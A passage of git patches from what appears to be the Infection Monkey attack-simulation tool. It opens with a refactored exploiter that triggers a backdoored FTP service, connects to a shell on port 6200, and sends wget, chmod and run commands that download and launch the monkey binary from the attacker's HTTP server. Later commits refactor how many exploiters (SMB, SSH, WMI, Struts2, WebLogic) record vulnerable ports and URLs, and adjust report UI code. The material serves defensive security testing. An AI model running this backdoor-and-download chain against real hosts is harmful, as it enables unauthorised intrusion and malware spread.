trigger backdoor...') - ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - ftp_socket.connect((self.host.ip_addr, FTP_PORT)) - ftp_socket.recv(128).decode('utf-8') - # Attempt to login to trigger backdoor - ftp_socket.send(USERNAME) - ftp_socket.recv(128).decode('utf-8') - ftp_socket.send(PASSWORD) - ftp_socket.recv(128).decode('utf-8') - ftp_socket.close() - LOG.info('Triggered backdoor') - + s.connect((ip_addr,port)) + return True except socket.error as e: - LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) + LOG.error('Failed to connect to %s' , self.host.ip_addr) + + return False + def socket_send_recv(s,message): try: - LOG.info('Attempting to connect to backdoor...') - backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - backdoor_socket.connect((self.host.ip_addr, 6200)) + s.send(message) + return s.recv(128).decode('utf-8') + + except socket.error as e: + LOG.error('Failed to send payload to %s' , self.host.ip_addr) + + return False + + def socket_send(s,message): + try: + s.send(message) + return True + + except socket.error as e: + LOG.error('Failed to send payload to %s' , self.host.ip_addr) + + return False + + + + def exploit_host(self): + + LOG.info('Attempting to trigger backdoor...') + ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if socket_connect(ftp_socket,self.host.ip_addr, FTP_PORT): + ftp_socket.recv(128).decode('utf-8') + + # Attempt to login to trigger backdoor + + if socket_send_recv(ftp_socket,USERNAME): + if socket_send_recv(ftp_socket,PASSWORD): + ftp_socket.close() + LOG.info('Triggered backdoor') + else: + LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) + return False + else: + LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) + return False + + LOG.info('Attempting to connect to backdoor...') + backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if socket_connect(backdoor_socket,self.host.ip_addr, 6200): LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) - command = str.encode("uname -m" + '\n') - backdoor_socket.send(command) - response = backdoor_socket.recv(128).decode('utf-8') + command = str.encode("uname -m" + '\n') + + response = socket_send_recv(backdoor_socket,command) + if response: LOG.info('Response for uname -m: %s', response) if '' != response.lower().strip(): - #command execution is successful + # command execution is successful self.host.os['machine'] = response.lower().strip() self.host.os['type'] = 'linux' + else : + LOG.info("Failed to execute command uname -m on victim %r ",self.host) - else : - LOG.info("Failed to execute command uname -m on victim %r ",self.host) + src_path = get_target_monkey(self.host) + LOG.info("src for suitable monkey executable for host %r is %s", self.host,src_path) - src_path = get_target_monkey(self.host) - LOG.info("src for suitable monkey executable for host %r is %s", self.host,src_path) - - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - - LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) - - #copy the monkey into the machine - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) - dropper_target_path_linux = self._config.dropper_target_path_linux - LOG.info("Download link for monkey is %s",http_path) - - #download the monkey - download_command = '/usr/bin/wget %s -O %s;' % ( - http_path, dropper_target_path_linux) - LOG.info("Download_command is %s",download_command) - - command = str.encode(str(download_command) + '\n') - backdoor_socket.send(command) - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - - #changeit to executable - - execute_command = "/bin/chmod +x %s" % dropper_target_path_linux - LOG.info("Execute_command is %s",execute_command) - - command = str.encode(str(execute_command) + '\n') - - backdoor_socket.send(command) - - - #run the monkey - cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) - cmdline += "&" - - command = str.encode(str(cmdline) + '\n') - backdoor_socket.send(command) - - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) - - self._exploit_info['Vulnerability'] = {"Success":"True"} - - except socket.error as e: - LOG.error('Failed to connect to backdoor on %s:6200', self.host.ip_addr) - LOG.error('Error Connecting to backdoor. Error: %s' % e) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False + + # copy the monkey into the machine + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + dropper_target_path_linux = self._config.dropper_target_path_linux + LOG.info("Download link for monkey is %s",http_path) + + # download the monkey + download_command = '/usr/bin/wget %s -O %s;' % ( + http_path, dropper_target_path_linux) + LOG.info("Download_command is %s",download_command) + + download_command = str.encode(str(download_command) + '\n') + + if socket_send(backdoor_socket,download_command): + LOG.info('Monkey is now Downloaded ') + else: + LOG.error('Failed to download monkey at %s' , self.host.ip_addr) + return False + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + + # changeit to executable + + Change_exec_permission = "/bin/chmod +x %s" % dropper_target_path_linux + LOG.info("Change_exec_permission is %s",Change_exec_permission) + + Change_exec_permission = str.encode(str(Change_exec_permission) + '\n') + + if socket_send(backdoor_socket,Change_exec_permission): + LOG.info('Monkey can now be executed ') + else: + LOG.error('Failed to make the monkey executable at %s' , self.host.ip_addr) + return False + + + # run the monkey + cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline += "&" + + run_monkey = str.encode(str(cmdline) + '\n') + if socket_send(backdoor_socket,run_monkey): + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, self.host, cmdline) + else: + LOG.error('Monkey failed to run at %s' , self.host.ip_addr) + return False + + + self._exploit_info['Vulnerability'] = {"Success":"True"} + + return True From 3603d210ffe1e11cbde4103d1f7b1082edee135f Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Thu, 18 Apr 2019 21:07:17 +0200 Subject: [PATCH 049/598] Update ReportPage.js --- .../cc/ui/src/components/pages/ReportPage.js | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 754ded024..73bfd850d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -408,15 +408,17 @@ class ReportPageComponent extends AuthComponent { generateReportRecommendationsSection() { return (
      - {Object.keys(this.state.report.recommendations.domain_issues).length !=0 ? -

      Domain related recommendations

      : null } - + {/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise, + * don't render it (since the issues themselves will be empty. */} + {Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ? +

      Domain related recommendations

      : null }
      {this.generateIssues(this.state.report.recommendations.domain_issues)}
      -

      - Machine related Recommendations -

      + {/* Checks if there are any issues. If there are more then one: render the title. Otherwise, + * don't render it (since the issues themselves will be empty. */} + {Object.keys(this.state.report.recommendations.issues).length !== 0 ? +

      Machine related recommendations

      : null }
      {this.generateIssues(this.state.report.recommendations.issues)}
      @@ -424,6 +426,7 @@ class ReportPageComponent extends AuthComponent { ); } + generateReportGlanceSection() { let exploitPercentage = (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; From 5ecf626705b9bfd281136c8b6ed01ad6728537ce Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Apr 2019 13:44:36 +0300 Subject: [PATCH 050/598] Another T1210 refactoring --- monkey/common/utils/attack_utils.py | 8 ++++ monkey/infection_monkey/exploit/__init__.py | 31 +++++++-------- .../infection_monkey/exploit/elasticgroovy.py | 1 - monkey/infection_monkey/exploit/hadoop.py | 1 - monkey/infection_monkey/exploit/mssqlexec.py | 1 + monkey/infection_monkey/exploit/rdpgrinder.py | 2 +- monkey/infection_monkey/exploit/sambacry.py | 2 +- monkey/infection_monkey/exploit/shellshock.py | 1 - monkey/infection_monkey/exploit/smbexec.py | 8 ++-- monkey/infection_monkey/exploit/sshexec.py | 4 +- monkey/infection_monkey/exploit/struts2.py | 1 - monkey/infection_monkey/exploit/web_rce.py | 4 +- monkey/infection_monkey/exploit/weblogic.py | 1 - monkey/infection_monkey/exploit/wmiexec.py | 2 +- monkey/infection_monkey/monkey.py | 4 +- monkey/infection_monkey/network/__init__.py | 31 +++++++-------- .../infection_monkey/network/elasticfinger.py | 4 +- monkey/infection_monkey/network/httpfinger.py | 4 +- .../network/mssql_fingerprint.py | 4 +- .../infection_monkey/network/mysqlfinger.py | 4 +- .../network/network_scanner.py | 3 -- .../infection_monkey/network/ping_scanner.py | 3 ++ monkey/infection_monkey/network/smbfinger.py | 4 +- monkey/infection_monkey/network/sshfinger.py | 5 ++- .../infection_monkey/network/tcp_scanner.py | 4 +- .../transport/attack_telems/base_telem.py | 3 +- monkey/infection_monkey/utils.py | 9 ----- .../attack/technique_reports/T1210.py | 19 +++++----- .../cc/ui/src/components/attack/T1210.js | 38 +++++++++++++------ 29 files changed, 104 insertions(+), 102 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index b7f3346b3..28feaa537 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -11,3 +11,11 @@ class ScanStatus(Enum): # Dict that describes what BITS job was used for BITS_UPLOAD_STRING = {"usage": "BITS job was used to upload monkey to a remote system."} + + +def format_time(time): + return "%s-%s %s:%s:%s" % (time.date().month, + time.date().day, + time.time().hour, + time.time().minute, + time.time().second) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 41f82e50e..d5e9fcf3a 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,7 +1,6 @@ -from abc import ABCMeta, abstractmethod +from abc import ABCMeta, abstractmethod, abstractproperty import infection_monkey.config from common.utils.exploit_enum import ExploitType -from infection_monkey.utils import get_current_time_string __author__ = 'itamar' @@ -13,11 +12,16 @@ class HostExploiter(object): # Usual values are 'vulnerability' or 'brute_force' EXPLOIT_TYPE = ExploitType.VULNERABILITY - _EXPLOITED_SERVICE = '' + + @abstractproperty + def _EXPLOITED_SERVICE(self): + pass def __init__(self, host): self._config = infection_monkey.config.WormConfiguration - self._exploit_info = {} + self._exploit_info = {'display_name': self._EXPLOITED_SERVICE, + 'vulnerable_urls': [], + 'vulnerable_ports': []} self._exploit_attempts = [] self.host = host @@ -39,20 +43,11 @@ class HostExploiter(object): def exploit_host(self): raise NotImplementedError() - def add_vuln_service_info(self, port=None, url=None): - if port: - service_endpoint = port - elif url: - service_endpoint = url - else: - raise NotImplementedError("You must pass either port or url to add a vulnerable service info.") - if not self._EXPLOITED_SERVICE: - raise NotImplementedError("You must override _EXPLOITED_SERVICE to name a service this exploiter " - "is targeting") - self._exploit_info['exploited_service'] = {'name': self._EXPLOITED_SERVICE, - 'endpoint': service_endpoint, - 'time': get_current_time_string()} - return + def add_vuln_url(self, url): + self._exploit_info['vulnerable_urls'].append(url) + + def add_vuln_port(self, port): + self._exploit_info['vulnerable_ports'].append(port) from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index b40d01f0a..3a129ebc0 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -59,7 +59,6 @@ class ElasticGroovyExploiter(WebRCE): result = self.get_results(response) if not result: return False - self.add_vuln_service_info(url=url) return result[0] def upload_monkey(self, url, commands=None): diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index ef2fa506e..f02c4f3d3 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -49,7 +49,6 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() - self.add_vuln_service_info(url=self.vulnerable_urls[0]) return True def exploit(self, url, command): diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 2e8bf6c90..d2d41a336 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -13,6 +13,7 @@ LOG = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): + _EXPLOITED_SERVICE = 'MSSQL' _TARGET_OS_TYPE = ['windows'] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index c7b3e1c71..2c94dcafa 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -317,7 +317,7 @@ class RdpExploiter(HostExploiter): if client_factory.success: if not self._config.rdp_use_vbs_download: VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING) - self.add_vuln_service_info(port=RDP_PORT) + self.add_vuln_port(RDP_PORT) exploited = True self.report_login_attempt(True, user, password) break diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 143c15c83..7c4d7790a 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -89,7 +89,7 @@ class SambaCryExploiter(HostExploiter): LOG.info( "Shares triggered successfully on host %s: %s" % ( self.host.ip_addr, str(successfully_triggered_shares))) - self.add_vuln_service_info(port='139 or 445') + self.add_vuln_port(str(writable_shares_creds_dict)) return True else: LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 698a3fa25..2f6e3516f 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -144,7 +144,6 @@ class ShellShockExploiter(HostExploiter): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue - self.add_vuln_service_info(url=url) return True return False diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 7edd4b528..1b4071312 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -69,8 +69,8 @@ class SmbExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", self.host, user, password, lm_hash, ntlm_hash) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) - self.add_vuln_service_info(port=("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], - SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))) + self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], + SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) exploited = True break else: @@ -140,6 +140,6 @@ class SmbExploiter(HostExploiter): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, self.host, cmdline) - self.add_vuln_service_info(port=("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], - SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))) + self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], + SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) return True diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 1fd954fec..09982876d 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -82,11 +82,11 @@ class SSHExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) exploited = True - self.add_vuln_service_info(port=port) + self.add_vuln_port(port) self.report_login_attempt(True, user, curpass) break - except paramiko.AuthenticationException as exc: + except Exception as exc: LOG.debug("Error logging into victim %r with user" " %s and password '%s': (%s)", self.host, user, curpass, exc) diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index f1bce7d3b..042a38580 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -92,5 +92,4 @@ class Struts2Exploiter(WebRCE): except httplib.IncompleteRead as e: page = e.partial - self.add_vuln_service_info(url=url) return page diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 912d7c108..f360cfd16 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -209,13 +209,11 @@ class WebRCE(HostExploiter): """ for url in urls: if self.check_if_exploitable(url): - self.vulnerable_urls.append(url) + self.add_vuln_url(url) if stop_checking: break if not self.vulnerable_urls: LOG.info("No vulnerable urls found, skipping.") - # We add urls to param used in reporting - self._exploit_info['vulnerable_urls'] = self.vulnerable_urls def get_host_arch(self, url): """ diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 584883216..bbf0f2b60 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -69,7 +69,6 @@ class WebLogicExploiter(WebRCE): print('[!] Connection Error') print(e) - self.add_vuln_service_info(url=url) return True def add_vulnerable_urls(self, urls, stop_checking=False): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 2db2321e0..29bc08981 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -105,7 +105,7 @@ class WmiExploiter(HostExploiter): LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) - self.add_vuln_service_info(port='unknown') + self.add_vuln_port(port='unknown') success = True else: LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 2ec3e5d1f..6be73d41b 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,8 +17,6 @@ from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach -from common.utils.attack_utils import ScanStatus -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'itamar' @@ -155,7 +153,7 @@ class InfectionMonkey(object): finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), - }) + 'service_count': len(machine.services)}) # skip machines that we've already exploited if machine in self._exploited_machines: diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index b298be0c7..b47d4ebca 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -1,5 +1,4 @@ -from abc import ABCMeta, abstractmethod -from infection_monkey.utils import get_current_time_string +from abc import ABCMeta, abstractmethod, abstractproperty __author__ = 'itamar' @@ -15,21 +14,23 @@ class HostScanner(object): class HostFinger(object): __metaclass__ = ABCMeta - _SCANNED_SERVICE = '' + @abstractproperty + def _SCANNED_SERVICE(self): + pass - def format_service_info(self, port=None, url=None): - if port: - service_endpoint = port - elif url: - service_endpoint = url + def init_service(self, services, service_key): + services[service_key] = {} + services[service_key]['display_name'] = self._SCANNED_SERVICE + + def add_found_port(self, services, port, key=None): + if key: + services[key]['port'] = port else: - raise NotImplementedError("You must pass either port or url to get formatted service info.") - if not self._SCANNED_SERVICE: - raise NotImplementedError("You must override _SCANNED_SERVICE property" - " to name what service is being scanned.") - return {'display_name': self._SCANNED_SERVICE, - 'endpoint': service_endpoint, - 'time': get_current_time_string()} + for service in services: + if services[service]['display_name'] == self._SCANNED_SERVICE: + service[service]['port'] = port + return + raise KeyError @abstractmethod def get_host_fingerprint(self, host): diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index c8b720722..710479cb8 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -36,11 +36,11 @@ class ElasticFinger(HostFinger): url = 'http://%s:%s/' % (host.ip_addr, ES_PORT) with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: data = json.loads(req.text) - host.services[ES_SERVICE] = {} + self.init_service(host.services, ES_SERVICE) host.services[ES_SERVICE]['cluster_name'] = data['cluster_name'] host.services[ES_SERVICE]['name'] = data['name'] host.services[ES_SERVICE]['version'] = data['version']['number'] - host.services[ES_SERVICE].update(self.format_service_info(url=url)) + self.add_found_port(host.services, ES_PORT) return True except Timeout: LOG.debug("Got timeout while trying to read header information") diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 55bdcb1f1..1bcc70fb5 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -37,11 +37,11 @@ class HTTPFinger(HostFinger): with closing(head(url, verify=False, timeout=1)) as req: server = req.headers.get('Server') ssl = True if 'https://' in url else False - host.services['tcp-' + port[1]] = {} + self.init_service(host.services, ('tcp-' + port[1])) host.services['tcp-' + port[1]]['name'] = 'http' + self.add_found_port(host.services, port[0], ('tcp-' + port[1])) host.services['tcp-' + port[1]]['data'] = (server,ssl) LOG.info("Port %d is open on host %s " % (port[0], host)) - host.services['tcp-' + port[1]].update(self.format_service_info(port=port[0])) break # https will be the same on the same port except Timeout: pass diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index dba614c85..f99f92f5c 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -63,7 +63,7 @@ class MSSQLFinger(HostFinger): sock.close() return False - host.services[self._SCANNED_SERVICE] = {} + self.init_service(host.services, self._SCANNED_SERVICE) # Loop through the server data instances_list = data[3:].decode().split(';;') @@ -76,7 +76,7 @@ class MSSQLFinger(HostFinger): # Each instance's info is nested under its own name, if there are multiple instances # each will appear under its own name host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i] - host.services[self._SCANNED_SERVICE].update(self.format_service_info(port=MSSQLFinger.SQL_BROWSER_DEFAULT_PORT)) + self.add_found_port(host.services, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT) # Close the socket sock.close() diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index b1b1a6164..94077f684 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -51,14 +51,14 @@ class MySQLFinger(HostFinger): version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing version = version[0] - host.services[SQL_SERVICE] = {} + self.init_service(host.services, SQL_SERVICE) host.services[SQL_SERVICE]['version'] = version version = version.split('-')[0].split('.') host.services[SQL_SERVICE]['major_version'] = version[0] host.services[SQL_SERVICE]['minor_version'] = version[1] host.services[SQL_SERVICE]['build_version'] = version[2] thread_id, curpos = struct_unpack_tracker(data, curpos, "{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])} + ) +}; + let formatScanned = function (data){ let result = []; for(let service in data.machine.services){ let scanned_service = {'machine': data.machine, - 'service': {'endpoint': data.machine.services[service].endpoint, - 'name': data.machine.services[service].display_name, - 'time': data.machine.services[service].time}}; + 'time': data.time, + 'service': {'port': [data.machine.services[service].port], + 'display_name': data.machine.services[service].display_name}}; result.push(scanned_service) } return result }; -const columns = [ +const scanColumns = [ { columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.service.time, style: { 'whiteSpace': 'unset' }, width: 170}, - {Header: 'Port/url', id: 'port', accessor: x =>x.service.endpoint, style: { 'whiteSpace': 'unset' }}, - {Header: 'Service', id: 'service', accessor: x => x.service.name, style: { 'whiteSpace': 'unset' }} + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, + {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }}, + {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} + ] + } +]; + +const exploitColumns = [ + { + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 200}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, + {Header: 'Port/url', id: 'port', accessor: x =>renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }}, + {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} ] } ]; @@ -46,7 +64,7 @@ class T1210 extends React.Component {
      Found services:
      Exploited services:
      {this.props.data.message}
      From d36df7a0a36ef12329c084137a3a7f107b0dcb13 Mon Sep 17 00:00:00 2001 From: itaymmguardicore <30774653+itaymmguardicore@users.noreply.github.com> Date: Fri, 19 Apr 2019 16:52:47 +0300 Subject: [PATCH 051/598] Update monkey/monkey_island/cc/services/attack/attack_config.py dict typo Co-Authored-By: VakarisZ <36815064+VakarisZ@users.noreply.github.com> --- monkey/monkey_island/cc/services/attack/attack_config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index c153a40f7..d0a08b316 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -151,7 +151,7 @@ def r_alter_array(config_value, array_name, field, remove=True): def get_technique_values(): """ - Parses ATT&CK config into a dic of techniques and corresponding values. + Parses ATT&CK config into a dict of techniques and corresponding values. :return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...} """ attack_config = get_config() From 7c3ba141004b23bf723266e06e1defd043df1563 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sat, 20 Apr 2019 11:45:20 +0300 Subject: [PATCH 052/598] Small pr refactoring --- .../cc/resources/attack_config.py | 12 ++++++------ .../src/components/attack/MatrixComponent.js | 18 ++++++++---------- .../src/components/ui-components/checkbox.js | 6 +++--- 3 files changed, 17 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/resources/attack_config.py b/monkey/monkey_island/cc/resources/attack_config.py index 482c3b5fe..ad94f209e 100644 --- a/monkey/monkey_island/cc/resources/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack_config.py @@ -3,7 +3,7 @@ import json from flask import jsonify, request from monkey_island.cc.auth import jwt_required -from monkey_island.cc.services.attack.attack_config import * +import monkey_island.cc.services.attack.attack_config as attack_config __author__ = "VakarisZ" @@ -11,7 +11,7 @@ __author__ = "VakarisZ" class AttackConfiguration(flask_restful.Resource): @jwt_required() def get(self): - return jsonify(configuration=get_config()['properties']) + return jsonify(configuration=attack_config.get_config()['properties']) @jwt_required() def post(self): @@ -21,10 +21,10 @@ class AttackConfiguration(flask_restful.Resource): """ config_json = json.loads(request.data) if 'reset_attack_matrix' in config_json: - reset_config() - return jsonify(configuration=get_config()['properties']) + attack_config.reset_config() + return jsonify(configuration=attack_config.get_config()['properties']) else: - update_config({'properties': json.loads(request.data)}) - apply_to_monkey_config() + attack_config.update_config({'properties': json.loads(request.data)}) + attack_config.apply_to_monkey_config() return {} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js index 1803a7cd9..fa25307db 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -46,13 +46,7 @@ let parseTechniques = function (data, maxLen) { class MatrixComponent extends AuthComponent { constructor(props) { super(props); - // Copy ATT&CK configuration and parse it for ATT&CK matrix table - let configCopy = JSON.parse(JSON.stringify(this.props.configuration)); - this.state = {lastAction: 'none', - configData: this.props.configuration, - maxTechniques: findMaxTechniques(Object.values(configCopy))}; - this.state.matrixTableData = parseTechniques(Object.values(configCopy), this.state.maxTechniques); - this.state.columns = this.getColumns(this.state.matrixTableData) + this.state = this.getStateFromConfig(this.props.configuration, 'none'); }; getColumns(matrixData) { @@ -68,7 +62,7 @@ class MatrixComponent extends AuthComponent { renderTechnique(technique) { if (technique == null){ - return (
      ) + return (
      ) } else { return ( { + this.setState(this.getStateFromConfig(config, lastAction)); + }; + + getStateFromConfig = (config, lastAction) => { let configCopy = JSON.parse(JSON.stringify(config)); let maxTechniques = findMaxTechniques(Object.values(configCopy)); let matrixTableData = parseTechniques(Object.values(configCopy), maxTechniques); let columns = this.getColumns(matrixTableData); - this.setState({ + return { lastAction: lastAction, configData: config, maxTechniques: maxTechniques, matrixTableData: matrixTableData, columns: columns - }); + }; }; // Handles change in technique, when user toggles it diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js index 0b3f357d9..cde3435ed 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js @@ -1,7 +1,7 @@ import '../../styles/Checkbox.scss' import React from 'react'; -class Checkbox extends React.PureComponent { +class CheckboxComponent extends 